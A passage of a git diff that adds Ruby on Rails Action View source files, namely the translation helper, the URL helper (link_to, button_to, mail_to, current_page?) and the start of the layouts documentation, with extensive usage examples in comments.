+          part = if part_position == :first
+            drop_index = [part.length - radius, 0].max
+            part.drop(drop_index)
+          else
+            part.first(radius)
+          end
+
+          return affix, part.join(separator)
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/translation_helper.rb b/actionview/lib/action_view/helpers/translation_helper.rb
new file mode 100644
index 0000000..0bc4087
--- /dev/null
+++ b/actionview/lib/action_view/helpers/translation_helper.rb
@@ -0,0 +1,111 @@
+require 'action_view/helpers/tag_helper'
+require 'i18n/exceptions'
+
+module ActionView
+  # = Action View Translation Helpers
+  module Helpers
+    module TranslationHelper
+      # Delegates to <tt>I18n#translate</tt> but also performs three additional functions.
+      #
+      # First, it will ensure that any thrown +MissingTranslation+ messages will be turned 
+      # into inline spans that:
+      #
+      #   * have a "translation-missing" class set,
+      #   * contain the missing key as a title attribute and
+      #   * a titleized version of the last key segment as a text.
+      #
+      # E.g. the value returned for a missing translation key :"blog.post.title" will be
+      # <span class="translation_missing" title="translation missing: en.blog.post.title">Title</span>.
+      # This way your views will display rather reasonable strings but it will still
+      # be easy to spot missing translations.
+      #
+      # Second, it'll scope the key by the current partial if the key starts
+      # with a period. So if you call <tt>translate(".foo")</tt> from the
+      # <tt>people/index.html.erb</tt> template, you'll actually be calling
+      # <tt>I18n.translate("people.index.foo")</tt>. This makes it less repetitive
+      # to translate many keys within the same partials and gives you a simple framework
+      # for scoping them consistently. If you don't prepend the key with a period,
+      # nothing is converted.
+      #
+      # Third, it'll mark the translation as safe HTML if the key has the suffix
+      # "_html" or the last element of the key is the word "html". For example,
+      # calling translate("footer_html") or translate("footer.html") will return
+      # a safe HTML string that won't be escaped by other HTML helper methods. This
+      # naming convention helps to identify translations that include HTML tags so that
+      # you know what kind of output to expect when you call translate in a template.
+      def translate(key, options = {})
+        options[:default] = wrap_translate_defaults(options[:default]) if options[:default]
+
+        # If the user has specified rescue_format then pass it all through, otherwise use
+        # raise and do the work ourselves
+        options[:raise] ||= ActionView::Base.raise_on_missing_translations
+
+        raise_error = options[:raise] || options.key?(:rescue_format)
+        unless raise_error
+          options[:raise] = true
+        end
+
+        if html_safe_translation_key?(key)
+          html_safe_options = options.dup
+          options.except(*I18n::RESERVED_KEYS).each do |name, value|
+            unless name == :count && value.is_a?(Numeric)
+              html_safe_options[name] = ERB::Util.html_escape(value.to_s)
+            end
+          end
+          translation = I18n.translate(scope_key_by_partial(key), html_safe_options)
+
+          translation.respond_to?(:html_safe) ? translation.html_safe : translation
+        else
+          I18n.translate(scope_key_by_partial(key), options)
+        end
+      rescue I18n::MissingTranslationData => e
+        raise e if raise_error
+
+        keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope])
+        content_tag('span', keys.last.to_s.titleize, :class => 'translation_missing', :title => "translation missing: #{keys.join('.')}")
+      end
+      alias :t :translate
+
+      # Delegates to <tt>I18n.localize</tt> with no additional functionality.
+      #
+      # See http://rubydoc.info/github/svenfuchs/i18n/master/I18n/Backend/Base:localize
+      # for more information.
+      def localize(*args)
+        I18n.localize(*args)
+      end
+      alias :l :localize
+
+      private
+        def scope_key_by_partial(key)
+          if key.to_s.first == "."
+            if @virtual_path
+              @virtual_path.gsub(%r{/_?}, ".") + key.to_s
+            else
+              raise "Cannot use t(#{key.inspect}) shortcut because path is not available"
+            end
+          else
+            key
+          end
+        end
+
+        def html_safe_translation_key?(key)
+          key.to_s =~ /(\b|_|\.)html$/
+        end
+
+        def wrap_translate_defaults(defaults)
+          new_defaults = []
+          defaults     = Array(defaults)
+          while key = defaults.shift
+            if key.is_a?(Symbol)
+              new_defaults << lambda { |_, options| translate key, options.merge(:default => defaults) }
+              break
+            else
+              new_defaults << key
+            end
+          end
+
+          new_defaults
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/url_helper.rb b/actionview/lib/action_view/helpers/url_helper.rb
new file mode 100644
index 0000000..51379d4
--- /dev/null
+++ b/actionview/lib/action_view/helpers/url_helper.rb
@@ -0,0 +1,630 @@
+require 'action_view/helpers/javascript_helper'
+require 'active_support/core_ext/array/access'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView
+  # = Action View URL Helpers
+  module Helpers #:nodoc:
+    # Provides a set of methods for making links and getting URLs that
+    # depend on the routing subsystem (see ActionDispatch::Routing).
+    # This allows you to use the same format for links in views
+    # and controllers.
+    module UrlHelper
+      # This helper may be included in any class that includes the
+      # URL helpers of a routes (routes.url_helpers). Some methods
+      # provided here will only work in the context of a request
+      # (link_to_unless_current, for instance), which must be provided
+      # as a method called #request on the context.
+      BUTTON_TAG_METHOD_VERBS = %w{patch put delete}
+      extend ActiveSupport::Concern
+
+      include TagHelper
+
+      module ClassMethods
+        def _url_for_modules
+          ActionView::RoutingUrlFor
+        end
+      end
+
+      # Basic implementation of url_for to allow use helpers without routes existence
+      def url_for(options = nil) # :nodoc:
+        case options
+        when String
+          options
+        when :back
+          _back_url
+        else
+          raise ArgumentError, "arguments passed to url_for can't be handled. Please require " +
+                               "routes or provide your own implementation"
+        end
+      end
+
+      def _back_url # :nodoc:
+        referrer = controller.respond_to?(:request) && controller.request.env["HTTP_REFERER"]
+        referrer || 'javascript:history.back()'
+      end
+      protected :_back_url
+
+      # Creates a link tag of the given +name+ using a URL created by the set of +options+.
+      # See the valid options in the documentation for +url_for+. It's also possible to
+      # pass a String instead of an options hash, which generates a link tag that uses the
+      # value of the String as the href for the link. Using a <tt>:back</tt> Symbol instead
+      # of an options hash will generate a link to the referrer (a JavaScript back link
+      # will be used in place of a referrer if none exists). If +nil+ is passed as the name
+      # the value of the link itself will become the name.
+      #
+      # ==== Signatures
+      #
+      #   link_to(body, url, html_options = {})
+      #     # url is a String; you can use URL helpers like
+      #     # posts_path
+      #
+      #   link_to(body, url_options = {}, html_options = {})
+      #     # url_options, except :method, is passed to url_for
+      #
+      #   link_to(options = {}, html_options = {}) do
+      #     # name
+      #   end
+      #
+      #   link_to(url, html_options = {}) do
+      #     # name
+      #   end
+      #
+      # ==== Options
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>method: symbol of HTTP verb</tt> - This modifier will dynamically
+      #   create an HTML form and immediately submit the form for processing using
+      #   the HTTP verb specified. Useful for having links perform a POST operation
+      #   in dangerous actions like deleting a record (which search bots can follow
+      #   while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>.
+      #   Note that if the user has JavaScript disabled, the request will fall back
+      #   to using GET. If <tt>href: '#'</tt> is used and the user has JavaScript
+      #   disabled clicking the link will have no effect. If you are relying on the
+      #   POST behavior, you should check for it in your controller's action by using
+      #   the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>patch?</tt>, or <tt>put?</tt>.
+      # * <tt>remote: true</tt> - This will allow the unobtrusive JavaScript
+      #   driver to make an Ajax request to the URL in question instead of following
+      #   the link. The drivers each provide mechanisms for listening for the
+      #   completion of the Ajax request and performing JavaScript operations once
+      #   they're complete
+      #
+      # ==== Data attributes
+      #
+      # * <tt>confirm: 'question?'</tt> - This will allow the unobtrusive JavaScript
+      #   driver to prompt with the question specified (in this case, the
+      #   resulting text would be <tt>question?</tt>. If the user accepts, the
+      #   link is processed normally, otherwise no action is taken.
+      # * <tt>:disable_with</tt> - Value of this parameter will be
+      #   used as the value for a disabled version of the submit
+      #   button when the form is submitted. This feature is provided
+      #   by the unobtrusive JavaScript driver.
+      #
+      # ==== Examples
+      # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
+      # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base
+      # your application on resources and use
+      #
+      #   link_to "Profile", profile_path(@profile)
+      #   # => <a href="/profiles/1">Profile</a>
+      #
+      # or the even pithier
+      #
+      #   link_to "Profile", @profile
+      #   # => <a href="/profiles/1">Profile</a>
+      #
+      # in place of the older more verbose, non-resource-oriented
+      #
+      #   link_to "Profile", controller: "profiles", action: "show", id: @profile
+      #   # => <a href="/profiles/show/1">Profile</a>
+      #
+      # Similarly,
+      #
+      #   link_to "Profiles", profiles_path
+      #   # => <a href="/profiles">Profiles</a>
+      #
+      # is better than
+      #
+      #   link_to "Profiles", controller: "profiles"
+      #   # => <a href="/profiles">Profiles</a>
+      #
+      # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
+      #
+      #   <%= link_to(@profile) do %>
+      #     <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
+      #   <% end %>
+      #   # => <a href="/profiles/1">
+      #          <strong>David</strong> -- <span>Check it out!</span>
+      #        </a>
+      #
+      # Classes and ids for CSS are easy to produce:
+      #
+      #   link_to "Articles", articles_path, id: "news", class: "article"
+      #   # => <a href="/articles" class="article" id="news">Articles</a>
+      #
+      # Be careful when using the older argument style, as an extra literal hash is needed:
+      #
+      #   link_to "Articles", { controller: "articles" }, id: "news", class: "article"
+      #   # => <a href="/articles" class="article" id="news">Articles</a>
+      #
+      # Leaving the hash off gives the wrong link:
+      #
+      #   link_to "WRONG!", controller: "articles", id: "news", class: "article"
+      #   # => <a href="/articles/index/news?class=article">WRONG!</a>
+      #
+      # +link_to+ can also produce links with anchors or query strings:
+      #
+      #   link_to "Comment wall", profile_path(@profile, anchor: "wall")
+      #   # => <a href="/profiles/1#wall">Comment wall</a>
+      #
+      #   link_to "Ruby on Rails search", controller: "searches", query: "ruby on rails"
+      #   # => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
+      #
+      #   link_to "Nonsense search", searches_path(foo: "bar", baz: "quux")
+      #   # => <a href="/searches?foo=bar&baz=quux">Nonsense search</a>
+      #
+      # The only option specific to +link_to+ (<tt>:method</tt>) is used as follows:
+      #
+      #   link_to("Destroy", "http://www.example.com", method: :delete)
+      #   # => <a href='http://www.example.com' rel="nofollow" data-method="delete">Destroy</a>
+      #
+      # You can also use custom data attributes using the <tt>:data</tt> option:
+      #
+      #   link_to "Visit Other Site", "http://www.rubyonrails.org/", data: { confirm: "Are you sure?" }
+      #   # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?">Visit Other Site</a>
+      def link_to(name = nil, options = nil, html_options = nil, &block)
+        html_options, options, name = options, name, block if block_given?
+        options ||= {}
+
+        html_options = convert_options_to_data_attributes(options, html_options)
+
+        url = url_for(options)
+        html_options['href'] ||= url
+
+        content_tag(:a, name || url, html_options, &block)
+      end
+
+      # Generates a form containing a single button that submits to the URL created
+      # by the set of +options+. This is the safest method to ensure links that
+      # cause changes to your data are not triggered by search bots or accelerators.
+      # If the HTML button does not work with your layout, you can also consider
+      # using the +link_to+ method with the <tt>:method</tt> modifier as described in
+      # the +link_to+ documentation.
+      #
+      # By default, the generated form element has a class name of <tt>button_to</tt>
+      # to allow styling of the form itself and its children. This can be changed
+      # using the <tt>:form_class</tt> modifier within +html_options+. You can control
+      # the form submission and input element behavior using +html_options+.
+      # This method accepts the <tt>:method</tt> modifier described in the +link_to+ documentation.
+      # If no <tt>:method</tt> modifier is given, it will default to performing a POST operation.
+      # You can also disable the button by passing <tt>disabled: true</tt> in +html_options+.
+      # If you are using RESTful routes, you can pass the <tt>:method</tt>
+      # to change the HTTP verb used to submit the form.
+      #
+      # ==== Options
+      # The +options+ hash accepts the same options as +url_for+.
+      #
+      # There are a few special +html_options+:
+      # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
+      #   <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>. By default it will be <tt>:post</tt>.
+      # * <tt>:disabled</tt> - If set to true, it will generate a disabled button.
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
+      # * <tt>:remote</tt> -  If set to true, will allow the Unobtrusive JavaScript drivers to control the
+      #   submit behavior. By default this behavior is an ajax submit.
+      # * <tt>:form</tt> - This hash will be form attributes
+      # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
+      #   be placed
+      # * <tt>:params</tt> - Hash of parameters to be rendered as hidden fields within the form.
+      #
+      # ==== Data attributes
+      #
+      # * <tt>:confirm</tt> - This will use the unobtrusive JavaScript driver to
+      #   prompt with the question specified. If the user accepts, the link is
+      #   processed normally, otherwise no action is taken.
+      # * <tt>:disable_with</tt> - Value of this parameter will be
+      #   used as the value for a disabled version of the submit
+      #   button when the form is submitted. This feature is provided
+      #   by the unobtrusive JavaScript driver.
+      #
+      # ==== Examples
+      #   <%= button_to "New", action: "new" %>
+      #   # => "<form method="post" action="/controller/new" class="button_to">
+      #   #      <div><input value="New" type="submit" /></div>
+      #   #    </form>"
+      #
+      #   <%= button_to "New", new_articles_path %>
+      #   # => "<form method="post" action="/articles/new" class="button_to">
+      #   #      <div><input value="New" type="submit" /></div>
+      #   #    </form>"
+      #
+      #   <%= button_to [:make_happy, @user] do %>
+      #     Make happy <strong><%= @user.name %></strong>
+      #   <% end %>
+      #   # => "<form method="post" action="/users/1/make_happy" class="button_to">
+      #   #      <div>
+      #   #        <button type="submit">
+      #   #          Make happy <strong><%= @user.name %></strong>
+      #   #        </button>
+      #   #      </div>
+      #   #    </form>"
+      #
+      #   <%= button_to "New", { action: "new" }, form_class: "new-thing" %>
+      #   # => "<form method="post" action="/controller/new" class="new-thing">
+      #   #      <div><input value="New" type="submit" /></div>
+      #   #    </form>"
+      #
+      #
+      #   <%= button_to "Create", { action: "create" }, remote: true, form: { "data-type" => "json" } %>
+      #   # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
+      #   #      <div>
+      #   #        <input value="Create" type="submit" />
+      #   #        <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   #      </div>
+      #   #    </form>"
+      #
+      #
+      #   <%= button_to "Delete Image", { action: "delete", id: @image.id },
+      #                                   method: :delete, data: { confirm: "Are you sure?" } %>
+      #   # => "<form method="post" action="/images/delete/1" class="button_to">
+      #   #      <div>
+      #   #        <input type="hidden" name="_method" value="delete" />
+      #   #        <input data-confirm='Are you sure?' value="Delete Image" type="submit" />
+      #   #        <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   #      </div>
+      #   #    </form>"
+      #
+      #
+      #   <%= button_to('Destroy', 'http://www.example.com',
+      #             method: "delete", remote: true, data: { confirm: 'Are you sure?', disable_with: 'loading...' }) %>
+      #   # => "<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
+      #   #       <div>
+      #   #         <input name='_method' value='delete' type='hidden' />
+      #   #         <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
+      #   #         <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   #       </div>
+      #   #     </form>"
+      #   #
+      def button_to(name = nil, options = nil, html_options = nil, &block)
+        html_options, options = options, name if block_given?
+        options      ||= {}
+        html_options ||= {}
+
+        html_options = html_options.stringify_keys
+        convert_boolean_attributes!(html_options, %w(disabled))
+
+        url    = options.is_a?(String) ? options : url_for(options)
+        remote = html_options.delete('remote')
+        params = html_options.delete('params')
+
+        method     = html_options.delete('method').to_s
+        method_tag = BUTTON_TAG_METHOD_VERBS.include?(method) ? method_tag(method) : ''.html_safe
+
+        form_method  = method == 'get' ? 'get' : 'post'
+        form_options = html_options.delete('form') || {}
+        form_options[:class] ||= html_options.delete('form_class') || 'button_to'
+        form_options.merge!(method: form_method, action: url)
+        form_options.merge!("data-remote" => "true") if remote
+
+        request_token_tag = form_method == 'post' ? token_tag : ''
+
+        html_options = convert_options_to_data_attributes(options, html_options)
+        html_options['type'] = 'submit'
+
+        button = if block_given?
+          content_tag('button', html_options, &block)
+        else
+          html_options['value'] = name || url
+          tag('input', html_options)
+        end
+
+        inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
+        if params
+          params.each do |param_name, value|
+            inner_tags.safe_concat tag(:input, type: "hidden", name: param_name, value: value.to_param)
+          end
+        end
+        content_tag('form', content_tag('div', inner_tags), form_options)
+      end
+
+      # Creates a link tag of the given +name+ using a URL created by the set of
+      # +options+ unless the current request URI is the same as the links, in
+      # which case only the name is returned (or the given block is yielded, if
+      # one exists). You can give +link_to_unless_current+ a block which will
+      # specialize the default behavior (e.g., show a "Start Here" link rather
+      # than the link's text).
+      #
+      # ==== Examples
+      # Let's say you have a navigation menu...
+      #
+      #   <ul id="navbar">
+      #     <li><%= link_to_unless_current("Home", { action: "index" }) %></li>
+      #     <li><%= link_to_unless_current("About Us", { action: "about" }) %></li>
+      #   </ul>
+      #
+      # If in the "about" action, it will render...
+      #
+      #   <ul id="navbar">
+      #     <li><a href="/controller/index">Home</a></li>
+      #     <li>About Us</li>
+      #   </ul>
+      #
+      # ...but if in the "index" action, it will render:
+      #
+      #   <ul id="navbar">
+      #     <li>Home</li>
+      #     <li><a href="/controller/about">About Us</a></li>
+      #   </ul>
+      #
+      # The implicit block given to +link_to_unless_current+ is evaluated if the current
+      # action is the action given. So, if we had a comments page and wanted to render a
+      # "Go Back" link instead of a link to the comments page, we could do something like this...
+      #
+      #    <%=
+      #        link_to_unless_current("Comment", { controller: "comments", action: "new" }) do
+      #           link_to("Go back", { controller: "posts", action: "index" })
+      #        end
+      #     %>
+      def link_to_unless_current(name, options = {}, html_options = {}, &block)
+        link_to_unless current_page?(options), name, options, html_options, &block
+      end
+
+      # Creates a link tag of the given +name+ using a URL created by the set of
+      # +options+ unless +condition+ is true, in which case only the name is
+      # returned. To specialize the default behavior (i.e., show a login link rather
+      # than just the plaintext link text), you can pass a block that
+      # accepts the name or the full argument list for +link_to_unless+.
+      #
+      # ==== Examples
+      #   <%= link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) %>
+      #   # If the user is logged in...
+      #   # => <a href="/controller/reply/">Reply</a>
+      #
+      #   <%=
+      #      link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) do |name|
+      #        link_to(name, { controller: "accounts", action: "signup" })
+      #      end
+      #   %>
+      #   # If the user is logged in...
+      #   # => <a href="/controller/reply/">Reply</a>
+      #   # If not...
+      #   # => <a href="/accounts/signup">Reply</a>
+      def link_to_unless(condition, name, options = {}, html_options = {}, &block)
+        if condition
+          if block_given?
+            block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
+          else
+            ERB::Util.html_escape(name)
+          end
+        else
+          link_to(name, options, html_options)
+        end
+      end
+
+      # Creates a link tag of the given +name+ using a URL created by the set of
+      # +options+ if +condition+ is true, otherwise only the name is
+      # returned. To specialize the default behavior, you can pass a block that
+      # accepts the name or the full argument list for +link_to_unless+ (see the examples
+      # in +link_to_unless+).
+      #
+      # ==== Examples
+      #   <%= link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) %>
+      #   # If the user isn't logged in...
+      #   # => <a href="/sessions/new/">Login</a>
+      #
+      #   <%=
+      #      link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) do
+      #        link_to(@current_user.login, { controller: "accounts", action: "show", id: @current_user })
+      #      end
+      #   %>
+      #   # If the user isn't logged in...
+      #   # => <a href="/sessions/new/">Login</a>
+      #   # If they are logged in...
+      #   # => <a href="/accounts/show/3">my_username</a>
+      def link_to_if(condition, name, options = {}, html_options = {}, &block)
+        link_to_unless !condition, name, options, html_options, &block
+      end
+
+      # Creates a mailto link tag to the specified +email_address+, which is
+      # also used as the name of the link unless +name+ is specified. Additional
+      # HTML attributes for the link can be passed in +html_options+.
+      #
+      # +mail_to+ has several methods for customizing the email itself by
+      # passing special keys to +html_options+.
+      #
+      # ==== Options
+      # * <tt>:subject</tt> - Preset the subject line of the email.
+      # * <tt>:body</tt> - Preset the body of the email.
+      # * <tt>:cc</tt> - Carbon Copy additional recipients on the email.
+      # * <tt>:bcc</tt> - Blind Carbon Copy additional recipients on the email.
+      #
+      # ==== Obfuscation
+      # Prior to Rails 4.0, +mail_to+ provided options for encoding the address
+      # in order to hinder email harvesters.  To take advantage of these options,
+      # install the +actionview-encoded_mail_to+ gem.
+      #
+      # ==== Examples
+      #   mail_to "me at domain.com"
+      #   # => <a href="mailto:me at domain.com">me at domain.com</a>
+      #
+      #   mail_to "me at domain.com", "My email"
+      #   # => <a href="mailto:me at domain.com">My email</a>
+      #
+      #   mail_to "me at domain.com", "My email", cc: "ccaddress at domain.com",
+      #            subject: "This is an example email"
+      #   # => <a href="mailto:me at domain.com?cc=ccaddress at domain.com&subject=This%20is%20an%20example%20email">My email</a>
+      #
+      # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
+      #
+      #   <%= mail_to "me at domain.com" do %>
+      #     <strong>Email me:</strong> <span>me at domain.com</span>
+      #   <% end %>
+      #   # => <a href="mailto:me at domain.com">
+      #          <strong>Email me:</strong> <span>me at domain.com</span>
+      #        </a>
+      def mail_to(email_address, name = nil, html_options = {}, &block)
+        email_address = ERB::Util.html_escape(email_address)
+
+        html_options, name = name, nil if block_given?
+        html_options = (html_options || {}).stringify_keys
+
+        extras = %w{ cc bcc body subject }.map! { |item|
+          option = html_options.delete(item) || next
+          "#{item}=#{Rack::Utils.escape_path(option)}"
+        }.compact
+        extras = extras.empty? ? '' : '?' + ERB::Util.html_escape(extras.join('&'))
+
+        html_options["href"] = "mailto:#{email_address}#{extras}".html_safe
+
+        content_tag(:a, name || email_address.html_safe, html_options, &block)
+      end
+
+      # True if the current request URI was generated by the given +options+.
+      #
+      # ==== Examples
+      # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc</tt> action.
+      #
+      #   current_page?(action: 'process')
+      #   # => false
+      #
+      #   current_page?(controller: 'shop', action: 'checkout')
+      #   # => true
+      #
+      #   current_page?(controller: 'shop', action: 'checkout', order: 'asc')
+      #   # => false
+      #
+      #   current_page?(action: 'checkout')
+      #   # => true
+      #
+      #   current_page?(controller: 'library', action: 'checkout')
+      #   # => false
+      #
+      #   current_page?('http://www.example.com/shop/checkout')
+      #   # => true
+      #
+      #   current_page?('/shop/checkout')
+      #   # => true
+      #
+      # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc&page=1</tt> action.
+      #
+      #   current_page?(action: 'process')
+      #   # => false
+      #
+      #   current_page?(controller: 'shop', action: 'checkout')
+      #   # => true
+      #
+      #   current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '1')
+      #   # => true
+      #
+      #   current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '2')
+      #   # => false
+      #
+      #   current_page?(controller: 'shop', action: 'checkout', order: 'desc')
+      #   # => false
+      #
+      #   current_page?(action: 'checkout')
+      #   # => true
+      #
+      #   current_page?(controller: 'library', action: 'checkout')
+      #   # => false
+      #
+      # Let's say we're in the <tt>http://www.example.com/products</tt> action with method POST in case of invalid product.
+      #
+      #   current_page?(controller: 'product', action: 'index')
+      #   # => false
+      #
+      def current_page?(options)
+        unless request
+          raise "You cannot use helpers that need to determine the current " \
+                "page unless your view context provides a Request object " \
+                "in a #request method"
+        end
+
+        return false unless request.get? || request.head?
+
+        url_string = URI.parser.unescape(url_for(options)).force_encoding(Encoding::BINARY)
+
+        # We ignore any extra parameters in the request_uri if the
+        # submitted url doesn't have any either. This lets the function
+        # work with things like ?order=asc
+        request_uri = url_string.index("?") ? request.fullpath : request.path
+        request_uri = URI.parser.unescape(request_uri).force_encoding(Encoding::BINARY)
+
+        if url_string =~ /^\w+:\/\//
+          url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
+        else
+          url_string == request_uri
+        end
+      end
+
+      private
+        def convert_options_to_data_attributes(options, html_options)
+          if html_options
+            html_options = html_options.stringify_keys
+            html_options['data-remote'] = 'true' if link_to_remote_options?(options) || link_to_remote_options?(html_options)
+
+            method  = html_options.delete('method')
+
+            add_method_to_attributes!(html_options, method) if method
+
+            html_options
+          else
+            link_to_remote_options?(options) ? {'data-remote' => 'true'} : {}
+          end
+        end
+
+        def link_to_remote_options?(options)
+          if options.is_a?(Hash)
+            options.delete('remote') || options.delete(:remote)
+          end
+        end
+
+        def add_method_to_attributes!(html_options, method)
+          if method && method.to_s.downcase != "get" && html_options["rel"] !~ /nofollow/
+            html_options["rel"] = "#{html_options["rel"]} nofollow".lstrip
+          end
+          html_options["data-method"] = method
+        end
+
+        # Processes the +html_options+ hash, converting the boolean
+        # attributes from true/false form into the form required by
+        # HTML/XHTML. (An attribute is considered to be boolean if
+        # its name is listed in the given +bool_attrs+ array.)
+        #
+        # More specifically, for each boolean attribute in +html_options+
+        # given as:
+        #
+        #   "attr" => bool_value
+        #
+        # if the associated +bool_value+ evaluates to true, it is
+        # replaced with the attribute's name; otherwise the attribute is
+        # removed from the +html_options+ hash. (See the XHTML 1.0 spec,
+        # section 4.5 "Attribute Minimization" for more:
+        # http://www.w3.org/TR/xhtml1/#h-4.5)
+        #
+        # Returns the updated +html_options+ hash, which is also modified
+        # in place.
+        #
+        # Example:
+        #
+        #   convert_boolean_attributes!( html_options,
+        #                                %w( checked disabled readonly ) )
+        def convert_boolean_attributes!(html_options, bool_attrs)
+          bool_attrs.each { |x| html_options[x] = x if html_options.delete(x) }
+          html_options
+        end
+
+        def token_tag(token=nil)
+          if token != false && protect_against_forgery?
+            token ||= form_authenticity_token
+            tag(:input, type: "hidden", name: request_forgery_protection_token.to_s, value: token)
+          else
+            ''
+          end
+        end
+
+        def method_tag(method)
+          tag('input', type: 'hidden', name: '_method', value: method.to_s)
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/layouts.rb b/actionview/lib/action_view/layouts.rb
new file mode 100644
index 0000000..9ee05bd
--- /dev/null
+++ b/actionview/lib/action_view/layouts.rb
@@ -0,0 +1,426 @@
+require "action_view/rendering"
+require "active_support/core_ext/module/remove_method"
+
+module ActionView
+  # Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
+  # repeated setups. The inclusion pattern has pages that look like this:
+  #
+  #   <%= render "shared/header" %>
+  #   Hello World
+  #   <%= render "shared/footer" %>
+  #
+  # This approach is a decent way of keeping common structures isolated from the changing content, but it's verbose
+  # and if you ever want to change the structure of these two includes, you'll have to change all the templates.
+  #
+  # With layouts, you can flip it around and have the common structure know where to insert changing content. This means
+  # that the header and footer are only mentioned in one place, like this:
+  #
+  #   // The header part of this layout
+  #   <%= yield %>
+  #   // The footer part of this layout
+  #
+  # And then you have content pages that look like this:
+  #
+  #    hello world
+  #
+  # At rendering time, the content page is computed and then inserted in the layout, like this:
+  #
+  #   // The header part of this layout
+  #   hello world
+  #   // The footer part of this layout
+  #
+  # == Accessing shared variables
+  #
+  # Layouts have access to variables specified in the content pages and vice versa. This allows you to have layouts with
+  # references that won't materialize before rendering time:
+  #
+  #   <h1><%= @page_title %></h1>
+  #   <%= yield %>
+  #
+  # ...and content pages that fulfill these references _at_ rendering time:
+  #
+  #    <% @page_title = "Welcome" %>
+  #    Off-world colonies offers you a chance to start a new life
+  #
+  # The result after rendering is:
+  #
+  #   <h1>Welcome</h1>
+  #   Off-world colonies offers you a chance to start a new life
+  #
+  # == Layout assignment
+  #
+  # You can either specify a layout declaratively (using the #layout class method) or give
+  # it the same name as your controller, and place it in <tt>app/views/layouts</tt>.
+  # If a subclass does not have a layout specified, it inherits its layout using normal Ruby inheritance.
+  #
+  # For instance, if you have PostsController and a template named <tt>app/views/layouts/posts.html.erb</tt>,
+  # that template will be used for all actions in PostsController and controllers inheriting
+  # from PostsController.
+  #
+  # If you use a module, for instance Weblog::PostsController, you will need a template named
+  # <tt>app/views/layouts/weblog/posts.html.erb</tt>.
+  #
+  # Since all your controllers inherit from ApplicationController, they will use
+  # <tt>app/views/layouts/application.html.erb</tt> if no other layout is specified
+  # or provided.
+  #
+  # == Inheritance Examples
+  #
+  #   class BankController < ActionController::Base
+  #     # bank.html.erb exists
+  #
+  #   class ExchangeController < BankController
+  #     # exchange.html.erb exists
+  #
+  #   class CurrencyController < BankController
+  #
+  #   class InformationController < BankController
+  #     layout "information"
+  #
+  #   class TellerController < InformationController
+  #     # teller.html.erb exists
+  #
+  #   class EmployeeController < InformationController
+  #     # employee.html.erb exists
+  #     layout nil
+  #
+  #   class VaultController < BankController
+  #     layout :access_level_layout
+  #
+  #   class TillController < BankController
+  #     layout false
+  #
+  # In these examples, we have three implicit lookup scenarios:
+  # * The BankController uses the "bank" layout.
+  # * The ExchangeController uses the "exchange" layout.
+  # * The CurrencyController inherits the layout from BankController.
+  #
+  # However, when a layout is explicitly set, the explicitly set layout wins:
+  # * The InformationController uses the "information" layout, explicitly set.
+  # * The TellerController also uses the "information" layout, because the parent explicitly set it.
+  # * The EmployeeController uses the "employee" layout, because it set the layout to nil, resetting the parent configuration.
+  # * The VaultController chooses a layout dynamically by calling the <tt>access_level_layout</tt> method.
+  # * The TillController does not use a layout at all.
+  #
+  # == Types of layouts
+  #
+  # Layouts are basically just regular templates, but the name of this template needs not be specified statically. Sometimes
+  # you want to alternate layouts depending on runtime information, such as whether someone is logged in or not. This can
+  # be done either by specifying a method reference as a symbol or using an inline method (as a proc).
+  #
+  # The method reference is the preferred approach to variable layouts and is used like this:
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout :writers_and_readers
+  #
+  #     def index
+  #       # fetching posts
+  #     end
+  #
+  #     private
+  #       def writers_and_readers
+  #         logged_in? ? "writer_layout" : "reader_layout"
+  #       end
+  #   end
+  #
+  # Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing
+  # is logged in or not.
+  #
+  # If you want to use an inline method, such as a proc, do something like this:
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout proc { |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
+  #   end
+  #
+  # If an argument isn't given to the proc, it's evaluated in the context of
+  # the current controller anyway.
+  #
+  #   class WeblogController < ActionController::Base
